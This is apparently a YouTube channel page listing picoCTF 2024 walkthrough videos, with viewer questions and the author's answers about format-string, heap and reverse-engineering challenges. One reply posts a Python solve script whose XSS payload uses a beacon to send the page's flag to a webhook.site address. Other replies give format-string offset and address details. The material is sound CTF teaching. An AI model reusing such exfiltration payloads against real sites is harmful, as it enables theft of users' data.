pico2024 dear diary
3:30
4 ай бұрын
pico2024 WinAntiDbg0x300
10:23
4 ай бұрын
pico2024 sans alpha
6:36
4 ай бұрын
pico2024 format string 3
9:47
4 ай бұрын
pico2024 trickster
3:35
4 ай бұрын
pico2024 don't you love banners
2:27
pico2024 Blast from the past
5:27
pico2024 WinAntiDbg0x200
4:23
4 ай бұрын
pico2024 weirdsnake
5:48
4 ай бұрын
pico2024 rsa oracle
5:13
4 ай бұрын
pico2024 endianness-v2
1:51
4 ай бұрын
pico2024 Classic Crackme 0x100
5:19
pico2024 heap 3
4:55
4 ай бұрын
pico2024 format string 2
6:49
4 ай бұрын
pico2024 heap 2
5:38
4 ай бұрын
pico2024 WinAntiDbg0x100
8:33
4 ай бұрын
pico2024 Mob psycho
1:52
4 ай бұрын
pico2024 FactCheck
4:15
4 ай бұрын
pico2024 C3
4:16
4 ай бұрын
pico2024 endianness
3:23
4 ай бұрын
pico2024 heap 1
3:12
4 ай бұрын
pico2024 binary search
2:11
4 ай бұрын
pico2024 Unminify
1:18
5 ай бұрын
pico2024 format string 1
14:26
5 ай бұрын
pico2024 packer
2:38
5 ай бұрын
pico2024 Secret of the Polyglot
2:11
pico2024 IntroToBurp
2:58
5 ай бұрын
pico2024 Custom encryption
8:19
5 ай бұрын
pico2024 CanYouSee
3:03
5 ай бұрын
Пікірлер
@MolekoManyanye
@MolekoManyanye Күн бұрын
i tried doing it manually , not using the script , its really not working
@jorgerodriguezmoreno1196
@jorgerodriguezmoreno1196 2 күн бұрын
New topic to research: ln command
@kekmanzzz7548
@kekmanzzz7548 3 күн бұрын
Thanks for the guide. One question - what is the difference between piping it in with python vs typing it in manually after nc? I notice the hex address is not properly translated if typed in manually, however, it successfully creates the reference when piped in with python. Not sure why this is the case, any help is appreciated!
@carlislemc
@carlislemc 3 күн бұрын
Python allows you to create characters you can't type on the keyboard. E.g. \x03 has no corresponding key on the keyboard.
@kekmanzzz7548
@kekmanzzz7548 3 күн бұрын
@@carlislemc Gotcha thanks. Is there another any difference between using python or echo -e to solve this problem, or are they both equivalent for similar use cases?
@carlislemc
@carlislemc 2 күн бұрын
​@@kekmanzzz7548that would also work
@The_Scene826
@The_Scene826 4 күн бұрын
It would be very helpful if you left the script in description
@carlislemc
@carlislemc 4 күн бұрын
import requests import json javascript = """let beacon = new PendingGetBeacon(`webhook.site/49a609bf-0f68-4a13-b4db-6ed8dd64c805/${state.flag}`); beacon.sendNow(); """ payload = { "xss": javascript, "recipe": [['Earth', 'Water'], ['Earth', 'Fire'], ['Air', 'Earth'], ['Air', 'Water'], ['Magma', 'Mist'], ['Magma', 'Mud'], ['Fire', 'Mud'], ['Fire', 'Mist'], ['Obsidian', 'Water'], ['Air', 'Rock'], ['Fog', 'Mud'], ['Hot Spring', 'Sludge'], ['Fire', 'Steam Engine'], ['Brick', 'Mud'], ['Hot Spring', 'Steam Engine'], ['Earth', 'Obsidian'], ['Brick', 'Fog'], ['Computer Chip', 'Steam Engine'], ['Dust', 'Heat Engine'], ['Adobe', 'Cloud'], ['Electricity', 'Software'], ['Computer Chip', 'Fire'], ['Artificial Intelligence', 'Data'], ['Encryption', 'Software'], ['Fire', 'Sand'], ['Internet', 'Program'], ['Glass', 'Software'], ['Cybersecurity', 'Vulnerability'], ['Exploit', 'Web Design']] } print(json.dumps(payload)) r = requests.post("rhea.picoctf.net:54776/remoteCraft", params={'recipe': json.dumps(payload)}) print(r.text)
@tomk8312
@tomk8312 6 күн бұрын
I have read so many writeups and I feel like I have a good grasp of how this vulnerability works, but it seems like something in this challenge must have changed because when you enter addresses in this x.. format it converts every character to hex including the slashes. I have copied and pasted strings from writeups and they just plain do not work. The only way I could get one of the addresses onto the stack is padding it out to an empty stack frame but that's as far as I could get because you can't pass null characters
@carlislemc
@carlislemc 6 күн бұрын
At what point in the video does the challenge work differently for you?
@tomk8312
@tomk8312 6 күн бұрын
Printf stops reading when it gets to a null byte no matter how it's entered. It will only read up to the first address and anything afterwards is ignored because of the 0s
@carlislemc
@carlislemc 5 күн бұрын
@@tomk8312 printf does stop at the null byte, but you should still have the bytes on the stack to access with the % operators as long as they all appear before the null bytes. You'll note that I put %22$lx before the addresses.
@Collins-g3u
@Collins-g3u 11 күн бұрын
next time please take it slowly step by step cause it's hard understanding you
@carlislemc
@carlislemc 11 күн бұрын
Thanks for the feedback
@dailodi
@dailodi 12 күн бұрын
Great!
@YoutubeEmail-g8s
@YoutubeEmail-g8s 16 күн бұрын
hey can you explain how checked password came from that script?
@capp1306
@capp1306 16 күн бұрын
Mann, I would've never figured this one out, Guess I have to learn more about apache, Indexing and Mac files.
@syedalbaher
@syedalbaher 5 күн бұрын
I got to 4th flag but couldnt figure out the final one 😅
@arturtkaczuk
@arturtkaczuk 19 күн бұрын
That is crazy hard for me 😅😅
@MONSTERGAMING-jd7zw
@MONSTERGAMING-jd7zw 24 күн бұрын
thank you sir
@giuseppe2895
@giuseppe2895 27 күн бұрын
Thanks Prof/Martin
@User-f7w9e
@User-f7w9e Ай бұрын
Any documents??
@User-f7w9e
@User-f7w9e Ай бұрын
Which place do you learn , because i know lit bit of English 😢
@carlislemc
@carlislemc 11 күн бұрын
Mostly by reading writeups at CTF time
@User-f7w9e
@User-f7w9e Ай бұрын
Sir I can't understand the stuffs 🥹🥺🥺
@PatrickAlbertoCamiloMartínezRo
@PatrickAlbertoCamiloMartínezRo Ай бұрын
Sir, great quality content the one you make, thank you a lot
@mr.ebonite9011
@mr.ebonite9011 Ай бұрын
I followed the import of both the pdb and the executable file but the winmain function is still not clear so is there anything else I should aside from decompressing with upx
@carlislemc
@carlislemc Ай бұрын
This should be clear if you decompress with UPX and then put the resulting unpacked executable into Ghidra along with the PDB.
@mr.ebonite9011
@mr.ebonite9011 Ай бұрын
How to know that upx was used ?
@carlislemc
@carlislemc Ай бұрын
You can see this by looking at the sections in Ghidra on the original executable.
@waplet
@waplet Ай бұрын
Amazing. Amazing, i know it's some time gone past. But i wanted to clarify some questions. Why exactly 28bytes was? In the source code for the input 16 bytes is assigned. Assuming 12 is for something else? some other stack preparations? Don't think you will ever respond to this, but who knows. Altough reversed code shows `char[24]` for vuln input, but the source code shows `char[16]`. Some stack appraoch? stack pointer override? etc? I saw you concentrated on vuln vs gets, is it a "distance" of bytes from those "calls"? Another question. Why exactly `pop ebx` gadget is needed? Maybe it will be burried, maybe you won't even remember or won't even notice. But atleast i put it down.
@carlislemc
@carlislemc Ай бұрын
Look at time @5:05. There are 0x18 (24 bytes), plus 4 more for the stored value of ebp. As for the pop ebx gadget, you need to make sure to move up the stack because otherwise you don't have enough room for the parameters.
@harshit4525
@harshit4525 Ай бұрын
Is this just a bad ctf? I usually takes me quite some time but this one i found very easily. I felt like i was cheating by just copy-pasting the flag. I really thought i will need to somehow find the correct password which is somewhere hidden on the website and after i enter that correct password the flag will pop on the screen just as it was doing for incorrect passwords. So i decided to the correct password and was not able to find it. Then finally i decided to check the walkthroughs and found all i had to do was just copy-paste. This ctf was really unpleasant
@harshit4525
@harshit4525 Ай бұрын
Is the password actually hidden somewhere? If anyone know pls let me know. Or if theres anyother way to solve this pls let me know
@carlislemc
@carlislemc Ай бұрын
This is designed to be a motivational CTF for people who are just getting started with CTFs, so some of the problems are indeed quite easy.
@harshit4525
@harshit4525 Ай бұрын
@@carlislemc Makes sense
@m91316
@m91316 Ай бұрын
Hey Martin, great video once again! Just one question: Your final payload was "abcdefghijklmnopqrstuvwxyz" (26 chars) + 1234 (4 chars) + pico (4 chars)", in total this is 34 chars, but wouldn't we want it to be 35 chars, as seen in the "typedef" struct? Thanks!
@carlislemc
@carlislemc Ай бұрын
Since we allocated 36 bytes, we don't have to fill the entire structure, just get "pico" in the correct place.
@m91316
@m91316 Ай бұрын
@@carlislemc Gotcha, thanks again!
@gamermashoo9756
@gamermashoo9756 Ай бұрын
sir why you don't pick last byte 2 becuz 52 is also present there
@carlislemc
@carlislemc Ай бұрын
I do say 5 or 2, and I can brute force those choices.
@nigcholasgarcia1804
@nigcholasgarcia1804 Ай бұрын
Thank you, I could not figure it out by myself.
@dostoyuncu305
@dostoyuncu305 Ай бұрын
what was the purpose of program.deb file. I couldn't understand the reason for it
@carlislemc
@carlislemc Ай бұрын
It is a Debian installer for steghide
@dostoyuncu305
@dostoyuncu305 Ай бұрын
@@carlislemc thank you for the answer and the videos you made. I use kali so I downloaded it from its terminal with apt and worked for the ctf problem.
@akshayvv8046
@akshayvv8046 Ай бұрын
what is the pasword to open the zip file?
@carlislemc
@carlislemc Ай бұрын
Use the first portion of the flag as the password to open the zip file
@ROBINHOOD-y3x
@ROBINHOOD-y3x Ай бұрын
No proper explanation sir, first IDK why all this doing, why and use?
@ProtoPropski
@ProtoPropski Ай бұрын
Thank-you, I kept mangling other request params, I even emptied out the OTP variable, but never considered outright changing/removing it's name entirely. I feel silly.
@carlislemc
@carlislemc Ай бұрын
Glad it was helpful to you!
@Dunter76
@Dunter76 Ай бұрын
thanks for those video.
@carlislemc
@carlislemc Ай бұрын
Glad you like them!
@m91316
@m91316 Ай бұрын
Hey Martin, great video. Just one question: Why do we pick up the 20 and 0x404062? Thanks!
@carlislemc
@carlislemc Ай бұрын
To write both halves of the number, we write to 0x404060 and 0x404062. 20 represents how far we have to walk up the stack to find our address.
@m91316
@m91316 Ай бұрын
@@carlislemc Got it, thanks!
@ABCABC-sw8mh
@ABCABC-sw8mh Ай бұрын
many dont know but the easiest way to get the base32 or 64 decoded is just by doing the following: echo 'OJSXI5LSNYQDAIDQNFRW6Q2UIZ5TO2BRGVPW25JRG4YXMM3SGUZV6MJVL5WTIZDOGM2TKXZXG42W CYZRGJSH2===' | base32 -d for base64: echo 'base64string' | base64 -d
@riterforever3516
@riterforever3516 2 ай бұрын
That's really helpful, your writeups really saves my day!
@JayceDang
@JayceDang 2 ай бұрын
bạn dùng phần mềm gì vậy (hình con cánh cụt)
@carlislemc
@carlislemc 2 ай бұрын
Windows Subsystem for Linux
@JayceDang
@JayceDang 2 ай бұрын
@@carlislemc thanks you!
@Gamehero911
@Gamehero911 2 ай бұрын
I've tried 2 write-up solutions and now your solution but the website doesnt return anything when I send the search query. Idk if the website is broken or what, but I've submitted your exact query and nothing happens for me.
@carlislemc
@carlislemc 2 ай бұрын
I've had this problem when I'm at work and my workplace IT people are blocking my queries at their firewall.
@Gamehero911
@Gamehero911 Ай бұрын
@@carlislemc Thanks for the reply, I'll try on another network 👍
@jonnyphenomenon
@jonnyphenomenon 2 ай бұрын
been fighting with this one for a day now. still no closer to understanding how this works. - I thought I had a pretty good grasp on this, but this pwntools is like some kind of secret code that was intended to be undecipherable.
@abrar99098
@abrar99098 2 ай бұрын
what the hack man. i tried for last 1 hours (self + watching tut) but you did it just few second. Shiiittt man 😂
@yalamanchilisameera7030
@yalamanchilisameera7030 2 ай бұрын
what can I do if an error message shows up like "No space left in device" when I'm trying to unzip the file? Please answer
@carlislemc
@carlislemc 2 ай бұрын
That sounds like your disk is full (or maybe an error during download). Try to free up some space and unzip again (or redownload the file).
@abhigyanrastogi1662
@abhigyanrastogi1662 2 ай бұрын
There has to be a better way to enumerate all the cookie name values...right?
@carlislemc
@carlislemc 2 ай бұрын
I should have automated it in Burpsuite
@jorgerodriguezmoreno1196
@jorgerodriguezmoreno1196 2 ай бұрын
What did I just watched?
@jorgerodriguezmoreno1196
@jorgerodriguezmoreno1196 2 ай бұрын
Is there a way to do it in the terminal?🤔
@carlislemc
@carlislemc 2 ай бұрын
No, I don't think so because you have to look at the picture.
@amayaputri8346
@amayaputri8346 2 ай бұрын
Well explained! Thanks a lot :D
@PhamThanh-s2q
@PhamThanh-s2q 2 ай бұрын
Sorry, but i don't know why printf(choice1) doesn't have format string error?
@carlislemc
@carlislemc 2 ай бұрын
Because you aren't allowed to put in an arbitrary string, but only one on the menu.
@Jorge-so1nt
@Jorge-so1nt 2 ай бұрын
Hey Carl, I'm new here. I messaged you in your email and just subscribed. Thank you!
@jorgerodriguezmoreno1196
@jorgerodriguezmoreno1196 2 ай бұрын
ok, I need to learn what a Diffy-Hellman key exchange is. Going my way up!!!!
@jorgerodriguezmoreno1196
@jorgerodriguezmoreno1196 2 ай бұрын
Understanding encryption algorithm to come up with decryption algorithm.
@AKASHVI-d4k
@AKASHVI-d4k 2 ай бұрын
how to use cookie manager in fire fox
@abhigyanrastogi1662
@abhigyanrastogi1662 2 ай бұрын
Cookie manager - Cookie editor from addons
@ZackWhitbord
@ZackWhitbord 2 ай бұрын
Thank you for another great writeup , Special Agent Carlisle!
@carlislemc
@carlislemc 2 ай бұрын
Thanks for the kind words
@PEMRiUM
@PEMRiUM 2 ай бұрын
Hey Martin. Thanks for the video, much appreciated. But how do you came up with the size of obj 36 ? Is it because the accumulated size of the struct is 35 + 1 for .... something ? Have a great day !
@carlislemc
@carlislemc 2 ай бұрын
You have to round the size to a multiple of 4.
@PEMRiUM
@PEMRiUM 2 ай бұрын
@@carlislemc Thank you very much. So if it would be the size of 41, I should use 44. Got it 👍
@agaga5886
@agaga5886 18 күн бұрын
As I understand it, you just have to allocate >=35 and then just get "pico" in the rigth place in memory. It dosen't matter if you don't fill all of the allocated space.
@petermarshall8750
@petermarshall8750 2 ай бұрын
Why do we put the data in in little endian order? i.e. How do we know the program has been compiled for little/big endian?
@carlislemc
@carlislemc 2 ай бұрын
Basically all the Intel chips are little endian.
@lekhashree5334
@lekhashree5334 2 ай бұрын
i actually can't understand format string 2 and 3 challenges. please tell me what and where i should learn..
@carlislemc
@carlislemc 2 ай бұрын
Perhaps you should read something like: axcheron.github.io/exploit-101-format-strings/
@atharvrevankar379
@atharvrevankar379 2 ай бұрын
I didnt really understand the working im kinda like a noob in this but could you explain how it works ?like my only doubt is why it segfaults for Cla%sic_Che%s%steak and not for any other combination of %s
@carlislemc
@carlislemc 2 ай бұрын
You might want to read more about format string specifiers, e.g. cplusplus.com/reference/cstdio/printf/.